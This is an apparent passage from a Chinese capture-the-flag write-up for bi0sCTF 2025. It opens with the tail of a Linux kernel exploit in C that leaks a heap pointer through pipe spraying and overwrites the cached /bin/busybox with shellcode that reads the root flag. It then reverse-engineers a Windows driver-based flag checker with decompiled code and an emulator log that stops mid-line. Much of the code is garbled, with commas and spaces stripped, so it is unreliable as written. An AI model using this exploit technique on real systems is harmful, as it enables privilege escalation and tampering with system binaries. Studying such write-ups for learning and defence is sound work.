perror("SUBSCRIBE failed");    } else {        printf("[+] Subscribed to mailbox 0x%xn", publisher_pub);    }}voidunsubscribe_mailbox(int subscriber_fd, unsigned publisher_pub){    usr_info info;    memset(&info, 0sizeof(info));        info.mail.public_key = publisher_pub;        if (ioctl(subscriber_fd, UNSUBSCRIBE, &info) < 0) {        perror("UNSUBSCRIBE failed");    } else {        printf("Unsubscribed from mailbox 0x%xn", publisher_pub);    }}/* create an isolate namespace for pgv */voidunshare_setup(void){    char edit[0x100];    int tmp_fd;    unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);    tmp_fd = open("/proc/self/setgroups", O_WRONLY);    write(tmp_fd, "deny"strlen("deny"));    close(tmp_fd);    tmp_fd = open("/proc/self/uid_map", O_WRONLY);    snprintf(edit, sizeof(edit), "0 %d 1"getuid());    write(tmp_fd, edit, strlen(edit));    close(tmp_fd);    tmp_fd = open("/proc/self/gid_map", O_WRONLY);    snprintf(edit, sizeof(edit), "0 %d 1"getgid());    write(tmp_fd, edit, strlen(edit));    close(tmp_fd);}size_t buf[0x400];int fd[FD_NUM];intmain(){    int file_fd;    file_fd = open("/bin/busybox",0);    // FILE *file;    // const char *filename = "/sh";    // file = fopen(filename, "w");    // if (file == NULL) {    //     perror("Error opening file");    //     return 1;    // }    // fclose(file);    spray_pipes(0, MAX_PIPE_COUNT);    pipe_buffer_resize();    bind_core(0);    // save_status();        memset(buf, 'G'0x400);    for(int i = 0; i < FD_NUM; i++){        fd[i] = open_mailbox();        initialize_mailbox(fd[i], i, 0x66);    }    puts("n subscribe mailbox B to An");    subscribe_mailbox(fd[VICTIM_ID], 0);    puts("n Close mailbox Bn");    for(int i = 0x10; i < FD_NUM; i++){        close(fd[i]);    }    pipe_buffer_init();    get_mailbox_status(fd[0]);    send_broadcast_mail(fd[0], VICTIM_ID, buf, 0x400);    char tmp[0x1000];    unsignedlonglong offset,heap_pointer,pipe_idx;    bool pointer_found = false;    for (int i = 0; i < MAX_PIPE_COUNT; ++i) {        ssize_t bytes_read = read(pipe_fd[i][0], tmp, 0xfff);        if (bytes_read < 0) {            perror("[-] Error reading from pipe");            continue;        }        for (int j = 0; j < bytes_read; j += 8) {            uint64_t *p = (uint64_t*)&tmp[j];            if (*p != 0 && (*p > 0xffff800000000000)) {                heap_pointer = *p;                offset = j;                pipe_idx = i;                pointer_found = true;                *(uint64_t*)&tmp[j] = heap_pointer&0xfffffffffffff000;                *(uint64_t*)&tmp[j]+=0x1000;                break;            }        }                if (pointer_found) {            break;        }    }    printf("heap_pointer:0x%llx,offset:0x%llx,pipe_idx:0x%llxn",heap_pointer&0xfffffffffffff000,offset,pipe_idx);    close(pipe_fd[pipe_idx][0]);    close(pipe_fd[pipe_idx][1]);    int page_spray_pipe_idx[0x10][2];    for(int i=0;i<0x1;i++)    {        if(pipe(page_spray_pipe_idx[i])<0)        {            perror("create pipe");            exit(0);        }    }    for(int i=0;i<0x1;i++)    {        write(page_spray_pipe_idx[i][1],tmp,0xfff);    }    usleep(100000);    // prepare_pgv_system();    // prepare_pgv_pages();    usleep(100000);    //free 1/2 pipe page    for (int i = 0; i < MAX_PIPE_COUNT; ++i) {        if(i!=pipe_idx)        {            // if(i%2!=0)            {                close(pipe_fd[i][0]);                close(pipe_fd[i][1]);            }        }    }    usleep(100000);    int pipe_cnt = 0x180;    int pipe_fd2[pipe_cnt][2];    for (int i = 0; i < pipe_cnt; ++i) {        if (pipe(pipe_fd2[i]) < 0) {            perror("create pipe");            exit(0);        }             }    //spray pipe_buffer to 1/2 pipe page    for(int i = 0; i < pipe_cnt; i++){        {            if (fcntl(pipe_fd2[i][1], F_SETPIPE_SZ, 0x1000 * 16) < 0) {                perror("resize pipe");                    exit(0);            }          }    }    usleep(10000);    //free another 1/2 pipe page    // for (int i = 0; i < MAX_PIPE_COUNT; ++i) {        // if(i!=pipe_idx)        // {            // if(i%2==0)            // {                // close(pipe_fd[i][0]);                // close(pipe_fd[i][1]);            // }        // }    // }    //write pages to another 1/2 pipe page and splice    size_t zero=0;    size_t flag_pointer = (heap_pointer&0xfffffffffffff000)+0x40038;    heap_pointer|=0x10;    for(int i = 0; i < pipe_cnt; i++){        // if(i%2==0)            {                write(pipe_fd2[i][1],&zero,8);                write(pipe_fd2[i][1],&heap_pointer,8);                write(pipe_fd2[i][1],&flag_pointer,8);                write(pipe_fd2[i][1],tmp,0x1000-0x18);            }            // if(i%2!=0)            {            size_t offset=0;                ssize_t nbytes = splice(file_fd, &offset, pipe_fd2[i][1], NULL10);                if (nbytes < 0) {                    perror("splice failed");                    return-1;                }                if (nbytes == 0) {                    fprintf(stderr, "short splicen");                    return-1;                }            }                            }                send_broadcast_mail(fd[0], VICTIM_ID, buf, 0x400);    //  unsigned char elfcode[] = {    //      /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,    //     0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,    //     0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,    //     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,    //     0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,    //     0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,    //     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,    //     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,    //     0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,    //     0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,    //     0x48, 0xbf, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00, 0x57, 0x48,    //     0x89, 0xe7, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x48, 0x83, 0xc0, 0x02,    //     0x0f, 0x05, 0x89, 0xc7, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc2, 0x00, 0x01,    //     0x00, 0x00, 0x48, 0x31, 0xc0, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00,    //     0xbf, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00,    // };    unsignedchar elfcode[] = {    /*0x7f,*/0x450x4C0x460x020x010x010x000x000x000x000x000x000x000x000x00,    0x020x000x3E0x000x010x000x000x000x000x010x000x000x000x000x000x00,    0x400x000x000x000x000x000x000x000x680x010x000x000x000x000x000x00,    0x000x000x000x000x400x000x380x000x020x000x400x000x030x000x020x00,    0x010x000x000x000x070x000x000x000x000x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00,    0x4F0x010x000x000x000x000x000x000x4F0x010x000x000x000x000x000x00,    0x000x100x000x000x000x000x000x000x510xE50x740x640x070x000x000x00,    0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x100x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00,    0x680x600x660x010x010x810x340x240x010x010x010x010x480xB80x2F0x72,    0x6F0x6F0x740x2F0x660x6C0x500x480x890xE70x310xD20x310xF60x6A0x02,    0x580x0F0x050x310xC00x6A0x030x5F0x6A0x640x5A0xBE0x010x010x010x01,    0x810xF60x010x030x010x010x0F0x050x6A0x010x5F0x6A0x640x5A0xBE0x01,    0x010x010x010x810xF60x010x030x010x010x6A0x010x580x0F0x050x000x00,    0x2E0x730x680x730x740x720x740x610x620x000x2E0x730x680x650x6C0x6C,    0x630x6F0x640x650x000x000x000x000x000x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x0B0x000x000x000x010x000x000x00,    0x070x000x000x000x000x000x000x000x000x010x000x000x000x000x000x00,    0x000x010x000x000x000x000x000x000x4F0x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x010x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x010x000x000x000x030x000x000x00,    0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00,    0x4F0x010x000x000x000x000x000x000x160x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x000x010x000x000x000x000x000x000x00,    0x000x000x000x000x000x000x000x00};    for(int i=0;i<pipe_cnt;i++)    {            write(pipe_fd2[i][1], elfcode, sizeof(elfcode));    }    system("exit");        usleep(10000);    // getchar();        // read(0, buf, 0x10);    puts("[+] EXP END.");    return0;}





Reverse


gettingWiser


exe程序分析

程序中存在若干除0异常,导致ida不能正常反编译伪代码,为此,我们应对的策略是nop,如下图所示,通过nop可以IDA成功反编译出伪代码。

bi0sCTF 2025 Writeup by r3kapig
bi0sCTF 2025 Writeup by r3kapig


之后,边调试边猜测函数功能边逆向,能把函数名恢复个大概,逆向出的main函数结果如下:


int __fastcall main(int argc, constchar **argv, constchar **envp){  const WCHAR *ntdll_dll_string; // rax  const WCHAR *v4; // rdx  LPCSTR v6; // rax  const CHAR *str_NtLoadDriver; // rax  const CHAR *str_NtUnloadDriver; // rax  const WCHAR *str_MyDevice; // rax  void *v10; // rax  __int64 str_error; // rax  __int64 v12; // rax  __int64 v13; // rax  __int64 str_Correct; // rax  char v15; // [rsp+40h] [rbp-98h] BYREF  char DestinationString[19]; // [rsp+41h] [rbp-97h] BYREF  DWORD LastError; // [rsp+54h] [rbp-84h]  int v18; // [rsp+58h] [rbp-80h]  HANDLE hDevice; // [rsp+60h] [rbp-78h]  FARPROC RtlInitUnicodeString; // [rsp+68h] [rbp-70h]  FARPROC addr_NtLoadDriver; // [rsp+70h] [rbp-68h]  FARPROC addr_NtUnloadDriver; // [rsp+78h] [rbp-60h]  int inited; // [rsp+80h] [rbp-58h]  int v24; // [rsp+84h] [rbp-54h]  DWORD nInBufferSize[2]; // [rsp+88h] [rbp-50h]  DWORD BytesReturned; // [rsp+90h] [rbp-48h] BYREF  char v27[16]; // [rsp+98h] [rbp-40h] BYREF  char input[32]; // [rsp+A8h] [rbp-30h] BYREF
  inited = init_dec_some();  memset(&v15, 0sizeof(v15));  ntdll_dll_string = j_wchar_xor_memcpy_ntdll_dll();  *&DestinationString[7] = GetModuleHandleW(ntdll_dll_string);  if ( !*&DestinationString[7] )    return-1;  memset(DestinationString, 01ui64);  j_wchar_xoe_memcpyRtlInitUnicodeString(DestinationString, v4);  RtlInitUnicodeString = GetProcAddress(*&DestinationString[7], v6);  memset(&DestinationString[1], 0sizeof(char));  str_NtLoadDriver = j_wchar_xor_memcpy_NtLoadDriver();  addr_NtLoadDriver = GetProcAddress(*&DestinationString[7], str_NtLoadDriver);  memset(&DestinationString[2], 0sizeof(char));  str_NtUnloadDriver = j_wchar_xor_memcpy_NtUnloadDriver();  addr_NtUnloadDriver = GetProcAddress(*&DestinationString[7], str_NtUnloadDriver);  if ( !RtlInitUnicodeString || !addr_NtLoadDriver || !addr_NtUnloadDriver )    return-1;  (RtlInitUnicodeString)(v27, L"\Registry\Machine\System\CurrentControlSet\Services\hypervisor");  v24 = (addr_NtLoadDriver)(v27);  memset(&DestinationString[3], 0sizeof(char));  str_MyDevice = j_wchar_xor_memcpy_MyDevice(); // \.MyDevice  hDevice = CreateFileW(str_MyDevice, 0x40000000u, 00i64, 3u0x80u, 0i64);  if ( hDevice == -1i64 )    return1;  string::clearn(input);  string::input(std::cin, input);  BytesReturned = 0;  *nInBufferSize = string::length(input) + 1;  v10 = return_thiss(input);  *&DestinationString[15] = DeviceIoControl(hDevice, 0x222000u, v10, nInBufferSize[0], 0i64, 0, &BytesReturned, 0i64);  if ( *&DestinationString[15] )  {    memset(&DestinationString[5], 0sizeof(char));    str_Correct = j_wchar_xor_memcpy_Correct();    string::out(std::cout, str_Correct);  }  else  {    memset(&DestinationString[4], 0sizeof(char));    LastError = GetLastError();    str_error = j_wchar_xor_memcpy_error(&DestinationString[4]);    v12 = string::out(std::cerr, str_error);    v13 = std::ostream::operator<<(v12, LastError);    string::out(v13, L"n");  }  CloseHandle(hDevice);  (addr_NtUnloadDriver)(v27);  v18 = 0;  string::clearn_(input);  return v18;}


对于init_dec_some函数,其功能是从内存中解密出 b0is.sys驱动并进行加载。00000001400040C0地址处的函数就是在对保存驱动的内存空间进行解密。为了方便调试与进一步的逆向分析,需要把驱动解密出来,并记为 b0is.sys文件。


接下来,继续分析main函数,剩下的功能其实就是从标准输入流中获取了数据,之后把数据发送给了b0is.sys文件进行了输入的判断,如果判断成功,则代表输入即为flag,反之,则error。


b0is.sys驱动分析


下面分析的重点即为 b0is.sys,关键函数在 00000001400011E0地址处的函数:

__int64 __fastcall HandleCustomIoctl_222000(__int64 a1, IRP *Irp){  struct _IO_STACK_LOCATION *CurrentStackLocation;// rcx  char *flag; // rbx  bool v4; // al  unsignedint Status; // [rsp+20h] [rbp-18h]
  CurrentStackLocation = Irp->Tail.Overlay.CurrentStackLocation;  Status = 0xC0000010;  if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 0x222000 )  {    if ( CurrentStackLocation->Parameters.Create.Options )    {      flag = (char *)Irp->AssociatedIrp.MasterIrp;      v4 = *flag == 97        && compare1(flag + 1)        && compare2(flag + 1, (int *)(flag + 33))        && compare3((__int64 *)(flag + 9), (int *)(flag + 41))        && compare4((__int64 *)(flag + 17), (int *)(flag + 49))        && compare5(flag + 25, flag + 57);      Status = !v4 ? 0xC000000D : 0;    }    else    {      Status = 0xC000000D;    }  }  Irp->IoStatus.Status = Status;  Irp->IoStatus.Information = 0;  IofCompleteRequest(Irp, 0);  return Status;}


根据上方代码可知,flag长度应该有65位,并且输入的flag需要通过 5个函数的校验才行。其中,compare2 ~ compare5都是 无魔改的 blowfish加密,并且密钥取自flag的第1~32字节。而compare1像是一个vm虚拟机,通过解compare1可以得到flag的第 1~32字节。

解 vm 与 blowfish


重点就是,解compare1:


__int64 vm(){  char v0; // r15  __int64 n4; // rax  unsigned __int64 n0x20_6; // rdi  unsigned __int64 i; // rbp  unsigned __int64 v4; // r14  __int64 n4_3; // r13  unsigned __int64 n0x20; // rsi  __int64 n4_1; // r12  __int64 oper; // rax  unsigned __int64 start_and_end; // rbx  unsigned __int64 n0x20_1; // rcx  unsigned __int64 n0x20_2; // rdx  unsigned __int64 n0x20_3; // rax  __int64 v13; // r8  unsigned __int64 n0x20_5; // rdx  unsigned __int64 v16; // [rsp+20h] [rbp-148h]  _QWORD v17[32]; // [rsp+30h] [rbp-138h] BYREF
  v16 = 0;  v0 = 0;  n4 = N_A8;  n0x20_6 = 0;  for ( i = 0; (unsigned __int64)N_A8 >= 4; n4 = N_A8 )  {    v4 = qword_140005008[n4];    n4_3 = n4 - 3;    n0x20 = what_globol[n4];    n4_1 = n4 - 4;    oper = box[n4 - 4];    start_and_end = box[n4_3];    N_A8 = n4_1;    if ( oper == 1 )    {      if ( start_and_end >= 0xFFFFFFFF )      {        if ( start_and_end > 0xFFFFFFFF )        {          i = -1;          LODWORD(what_globol[0]) = 8;        }      }      else      {        i = 0xFFFFFFFFLL;        LODWORD(what_globol[0]) = 4;      }      box[n4_1] = (v4 + start_and_end + connect(n0x20)) % i;    }    else    {      if ( oper != 2 )      {        if ( oper == 4 )        {          if ( v0 )          {            v0 = 0;            j__memset(v17, 0sizeof(v17));            n0x20_1 = start_and_end;            if ( start_and_end < n0x20 )            {              do              {                if ( n0x20_1 >= 0x20 )                  break;                n0x20_2 = n0x20_1;                n0x20_3 = n0x20_1 + (v4 >> 8) - start_and_end;                v13 = n0x20_3 >= 0x20 ? globalflag[n0x20_2] : globalflag[n0x20_3];                ++n0x20_1;                v17[n0x20_2] = v13;              }              while ( n0x20_1 < n0x20 );              while ( start_and_end < n0x20 && start_and_end < 0x20 )              {                globalflag[start_and_end] = v17[start_and_end];                ++start_and_end;              }            }            for ( n0x20_5 = n0x20_6 >> 8; n0x20_5 < (unsigned __int8)n0x20_6; ++n0x20_5 )            {              if ( n0x20_5 >= 0x20 )                break;              globalflag[n0x20_5] = (v16 & (255LL << (8 * ((unsigned __int8)n0x20_6 - (unsigned __int8)n0x20_5) - 8))) >> (8 * ((unsigned __int8)n0x20_6 - (unsigned __int8)n0x20_5) - 8);            }          }          else          {            v16 = v4;            v0 = 1;            n0x20_6 = n0x20 | (start_and_end << 8);          }        }        continue;      }      box[n4_1] = v4 ^ n0x20 ^ connect(start_and_end);    }    N_A8 = n4_3;  }  return0;}


我们直接把这个函数当成vm来做就行,下面是我的vm解析器 (有点简陋)



#include<stdio.h>#include<cstring>#include"IDA.h"__int64 globalflag[32] = { 0x30,0x30,0x31,0x31,0x32,0x32,0x33,0x33,0x34,0x34,0x35,0x35,0x36,0x36,0x37,0x37,0x38,0x38,0x39,0x39,0x61,0x61,0x62,0x62,0x63,0x63,0x64,0x64,0x65,0x65,0x66,0x66 };//__int64 globalflag[34] = { 0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30, };unsignedlonglong what_global[] = { 0x00000000000000040x00000000000000000x00000000000000040x0000000000000018,    0x00000000000000200x00000000000010180x00000000000000040x0000000000000010,    0x00000000000000180x00000000000000020x00000000000010180x0000000000000000,    0x00000000000000010x0CCCCCCCCCCCCCCC0x00000000000018200x0000000000000000,    0x00000000000000040x00000000000000180x00000000000000200x0000000000001018,    0x00000000000000040x00000000000000100x00000000000000180x0000000000000002,    0x00000000000010180x00000000000000000x00000000000000010x0CCCCCCCCCCCCCCC,    0x00000000000018200x00000000000000000x00000000000000040x0000000000000008,    0x00000000000000100x00000000000000080x00000000000000040x0000000000000000,    0x00000000000000080x00000000000000020x00000000000000080x0000000000000000,    0x00000000000000010xAAAAAAAAAAAAAAAA0x00000000000008100x0000000000000000,    0x00000000000000040x00000000000000080x00000000000000100x0000000000000008,    0x00000000000000040x00000000000000000x00000000000000080x0000000000000002,    0x00000000000000080x00000000000000000x00000000000000010xAAAAAAAAAAAAAAAA,    0x00000000000008100x00000000000000000x00000000000000040x000000000000001C,    0x00000000000000200x000000000000181C0x00000000000000040x0000000000000018,    0x000000000000001C0x00000000000000020x000000000000181C0x0000000000000000,    0x00000000000000010x00000000DDDDDDDD0x0000000000001C200x0000000000000000,    0x00000000000000040x000000000000001C0x00000000000000200x000000000000181C,    0x00000000000000040x00000000000000180x000000000000001C0x0000000000000002,    0x000000000000181C0x00000000000000000x00000000000000010x00000000DDDDDDDD,    0x0000000000001C200x00000000000000000x00000000000000040x0000000000000014,    0x00000000000000180x00000000000010140x00000000000000040x0000000000000010,    0x00000000000000140x00000000000000020x00000000000010140x0000000000000000,    0x00000000000000010x00000000CCCCCCCC0x00000000000014180x0000000000000000,    0x00000000000000040x00000000000000140x00000000000000180x0000000000001014,    0x00000000000000040x00000000000000100x00000000000000140x0000000000000002,    0x00000000000010140x00000000000000000x00000000000000010x00000000CCCCCCCC,    0x00000000000014180x00000000000000000x00000000000000040x000000000000000C,    0x00000000000000100x000000000000080C0x00000000000000040x0000000000000008,    0x000000000000000C0x00000000000000020x000000000000080C0x0000000000000000,    0x00000000000000010x00000000BBBBBBBB0x0000000000000C100x0000000000000000,    0x00000000000000040x000000000000000C0x00000000000000100x000000000000080C,    0x00000000000000040x00000000000000080x000000000000000C0x0000000000000002,    0x000000000000080C0x00000000000000000x00000000000000010x00000000BBBBBBBB,    0x0000000000000C100x00000000000000000x00000000000000040x0000000000000004,    0x00000000000000080x00000000000000040x00000000000000040x0000000000000000,    0x00000000000000040x00000000000000020x00000000000000040x0000000000000000,    0x00000000000000010x00000000AAAAAAAA0x00000000000004080x0000000000000000,    0x00000000000000040x00000000000000040x00000000000000080x0000000000000004,    0x00000000000000040x00000000000000000x00000000000000040x0000000000000002,    0x00000000000000040x00000000000000000x00000000000000010x00000000AAAAAAAA,    0x00000000000004080x00000000000000000x00000000000000A80x0000000000000000 };unsignedlonglong cip[32] = {    0x000000000000005C0x000000000000007F0x00000000000000CA0x00000000000000BE,    0x00000000000000040x00000000000000FA0x00000000000000A00x00000000000000DD,    0x00000000000000B20x000000000000007A0x00000000000000AF0x00000000000000DB,    0x000000000000005E0x00000000000000A10x00000000000000520x000000000000002F,    0x00000000000000710x00000000000000F20x00000000000000910x0000000000000003,    0x00000000000000C90x00000000000000CC0x00000000000000E20x000000000000005A,    0x000000000000004F0x000000000000000F0x00000000000000490x0000000000000042,    0x00000000000000350x00000000000000320x000000000000003E0x000000000000004C};__int64 __fastcall connect(unsigned __int64 a1){    unsigned __int64 v1; // rdx    unsigned __int64 v2; // rax    unsigned __int64 v3; // rcx    __int64 v4; // rax    v1 = (unsigned __int8)a1;    v2 = 0i64;    v3 = a1 >> 8;    printf("x = int(flag[%lld : %lld])", v3, v1);    if (LODWORD(what_global[0]) == 4)    {        for (; v3 < v1; v2 = v4 << 8)        {            if (v3 >= 0x20)                break;            v4 = globalflag[v3++] | v2;        }        printf("[0x%llx]n", v2 >> 8);        return v2 >> 8;    }    else    {        while (v3 < v1 - 1 && v3 < 0x20)            v2 = (globalflag[v3++] | v2) << 8;        printf("[0x%llx]n", globalflag[v1 - 1] | v2);        return globalflag[v1 - 1] | v2;    }}__int64 what__func(){    char v0// r15    __int64 v1; // rax    unsigned __int64 v2; // rdi    unsigned __int64 i; // rbp    unsigned __int64 v4; // r14    __int64 v5; // r13    unsigned __int64 v6; // rsi    __int64 v7; // r12    __int64 v8; // rax    unsigned __int64 start_and_end; // rbx    unsigned __int64 v10// rcx    unsigned __int64 v11; // rdx    unsigned __int64 v12; // rax    __int64 v13; // r8    unsigned __int64 j; // rdx    unsigned __int64 v16; // [rsp+20h] [rbp-148h]    __int64 v17[32]; // [rsp+30h] [rbp-138h] BYREF    v16 = 0i64;    v0 = 0;    v1 = what_global[170];    v2 = 0i64;    for (i = 0i64; what_global[170] >= 4ui64; v1 = what_global[170])    {        v4 = what_global[v1 + 1];        printf("v4 = what_global[%lld](0x%llx) n", v1 + 1, v4);        v5 = v1 - 3;        v6 = what_global[v1];        v7 = v1 - 4;        v8 = what_global[v1 - 2];        start_and_end = what_global[v5 + 2];        what_global[170] = v7;        if (v8 == 1)        {            if (start_and_end >= 0xFFFFFFFF)            {                if (start_and_end > 0xFFFFFFFF)                {                    i = -1i64;                    LODWORD(what_global[0]) = 8;                    printf("what_global[0] = 8n");                }            }            else            {                i = 0xFFFFFFFFi64;                LODWORD(what_global[0]) = 4;                printf("what_global[0] = 4n");            }            what_global[v7 + 2] = (v4 + start_and_end + connect(v6)) % i;   /*         if (what_global[v7 + 2] == 0x43434444) {                printf("0x%llxn", connect(v6));                printf("nopn");                            }*/            printf("what_global[%lld] = (x + v4(0x%llx) + 0x%llx) mod 0x%llxn", v7 + 2, v4, start_and_end,i );        }        else        {            if (v8 != 2)            {                if (v8 == 4)                {                    if (v0)                    {                        v0 = 0;                        memset(v17, 0i64, 256i64);                        v10 = start_and_end;                        if (start_and_end < v6)                        {                            do                            {                                if (v10 >= 0x20)                                    break;                                v11 = v10;                                v12 = v10 + (v4 >> 8) - start_and_end;                                v13 = v12 >= 0x20 ? globalflag[v11] : globalflag[v12];                                ++v10;                                v17[v11] = v13;                                if (v12 >= 0x20) {                                    printf("v17[%lld] = globalflag[%lld]n", v11, v11);                                }                                elseif (v12 < 0x20) {                                    printf("v17[%lld] = globalflag[%lld]n", v11, v12);                                }                                else {                                    printf("nonononononoo!!!!1n");                                }                            } while (v10 < v6);                            while (start_and_end < v6 && start_and_end < 0x20)                            {                                globalflag[start_and_end] = v17[start_and_end];                                printf("globalflag[%lld] = v17[%lld]n", start_and_end, start_and_end);                                ++start_and_end;                            }                        }                        for (j = v2 >> 8; j < (unsigned __int8)v2; ++j)                        {                            if (j >= 0x20)                                break;                            globalflag[j] = (v16 & (255i64 << (8 * ((unsigned __int8)v2 - (unsigned __int8)j) - 8))) >> (8 * ((unsigned __int8)v2 - (unsigned __int8)j) - 8);                            printf("globalflag[%lld] = 0x%llx[v16]n", j, globalflag[j]);                        }                    }                    else                    {                        v16 = v4;                        printf("v16 = v4n");                        v0 = 1;                        v2 = v6 | (start_and_end << 8);                    }                }                continue;            }            what_global[v7 + 2] = v4 ^ v6 ^ connect(start_and_end);            printf("what_global[%lld] = 0x%llx ^ 0x%llx ^ xn", v7 + 2, v4, v6);        }        what_global[170] = v5;        //printf("what_global[170] = 0x%llxn", v5);    }    return0i64;}intmain(){    what__func();    for (int i = 0; i < 32; i++) {        printf("0x%x,", globalflag[i]);    }    return0;}


运行后,可以拿到log:


v4 = what_global[169](0x0)what_global[0] = 4x = int(flag[4 : 8])[0x32323333]what_global[166] = (x + v4(0x0) + 0xaaaaaaaa) mod 0xffffffffv4 = what_global[166](0xdcdcdddd)x = int(flag[0 : 4])[0x30303131]what_global[163] = 0xdcdcdddd ^ 0x0 ^ xv4 = what_global[163](0xecececec)v16 = v4v4 = what_global[159](0x4)v17[4] = globalflag[0]v17[5] = globalflag[1]v17[6] = globalflag[2]v17[7] = globalflag[3]globalflag[4] = v17[4]globalflag[5] = v17[5]globalflag[6] = v17[6]globalflag[7] = v17[7]globalflag[0] = 0xec[v16]globalflag[1] = 0xec[v16]globalflag[2] = 0xec[v16]globalflag[3] = 0xec[v16]v4 = what_global[155](0x0)what_global[0] = 4x = int(flag[4 : 8])[0x30303131]what_global[152] = (x + v4(0x0) + 0xaaaaaaaa) mod 0xffffffffv4 = what_global[152](0xdadadbdb)x = int(flag[0 : 4])[0xecececec]what_global[149] = 0xdadadbdb ^ 0x0 ^ xv4 = what_global[149](0x36363737)v16 = v4v4 = what_global[145](0x4)v17[4] = globalflag[0]v17[5] = globalflag[1]v17[6] = globalflag[2]v17[7] = globalflag[3]globalflag[4] = v17[4]globalflag[5] = v17[5]globalflag[6] = v17[6]globalflag[7] = v17[7]globalflag[0] = 0x36[v16]globalflag[1] = 0x36[v16]globalflag[2] = 0x37[v16]globalflag[3] = 0x37[v16]v4 = what_global[141](0x0)what_global[0] = 4x = int(flag[12 : 16])[0x36363737]what_global[138] = (x + v4(0x0) + 0xbbbbbbbb) mod 0xffffffffv4 = what_global[138](0xf1f1f2f2)x = int(flag[8 : 12])[0x34343535]what_global[135] = 0xf1f1f2f2 ^ 0x0 ^ xv4 = what_global[135](0xc5c5c7c7)v16 = v4v4 = what_global[131](0x80c)v17[12] = globalflag[8]v17[13] = globalflag[9]v17[14] = globalflag[10]v17[15] = globalflag[11]globalflag[12] = v17[12]globalflag[13] = v17[13]globalflag[14] = v17[14]globalflag[15] = v17[15]globalflag[8] = 0xc5[v16]globalflag[9] = 0xc5[v16]globalflag[10] = 0xc7[v16]globalflag[11] = 0xc7[v16]v4 = what_global[127](0x0)what_global[0] = 4x = int(flag[12 : 16])[0x34343535]what_global[124] = (x + v4(0x0) + 0xbbbbbbbb) mod 0xffffffffv4 = what_global[124](0xefeff0f0)x = int(flag[8 : 12])[0xc5c5c7c7]what_global[121] = 0xefeff0f0 ^ 0x0 ^ xv4 = what_global[121](0x2a2a3737)v16 = v4v4 = what_global[117](0x80c)v17[12] = globalflag[8]v17[13] = globalflag[9]v17[14] = globalflag[10]v17[15] = globalflag[11]globalflag[12] = v17[12]globalflag[13] = v17[13]globalflag[14] = v17[14]globalflag[15] = v17[15]globalflag[8] = 0x2a[v16]globalflag[9] = 0x2a[v16]globalflag[10] = 0x37[v16]globalflag[11] = 0x37[v16]v4 = what_global[113](0x0)what_global[0] = 4x = int(flag[20 : 24])[0x61616262]what_global[110] = (x + v4(0x0) + 0xcccccccc) mod 0xffffffffv4 = what_global[110](0x2e2e2f2f)x = int(flag[16 : 20])[0x38383939]what_global[107] = 0x2e2e2f2f ^ 0x0 ^ xv4 = what_global[107](0x16161616)v16 = v4v4 = what_global[103](0x1014)v17[20] = globalflag[16]v17[21] = globalflag[17]v17[22] = globalflag[18]v17[23] = globalflag[19]globalflag[20] = v17[20]globalflag[21] = v17[21]globalflag[22] = v17[22]globalflag[23] = v17[23]globalflag[16] = 0x16[v16]globalflag[17] = 0x16[v16]globalflag[18] = 0x16[v16]globalflag[19] = 0x16[v16]v4 = what_global[99](0x0)what_global[0] = 4x = int(flag[20 : 24])[0x38383939]what_global[96] = (x + v4(0x0) + 0xcccccccc) mod 0xffffffffv4 = what_global[96](0x5050606)x = int(flag[16 : 20])[0x16161616]what_global[93] = 0x5050606 ^ 0x0 ^ xv4 = what_global[93](0x13131010)v16 = v4v4 = what_global[89](0x1014)v17[20] = globalflag[16]v17[21] = globalflag[17]v17[22] = globalflag[18]v17[23] = globalflag[19]globalflag[20] = v17[20]globalflag[21] = v17[21]globalflag[22] = v17[22]globalflag[23] = v17[23]globalflag[16] = 0x13[v16]globalflag[17] = 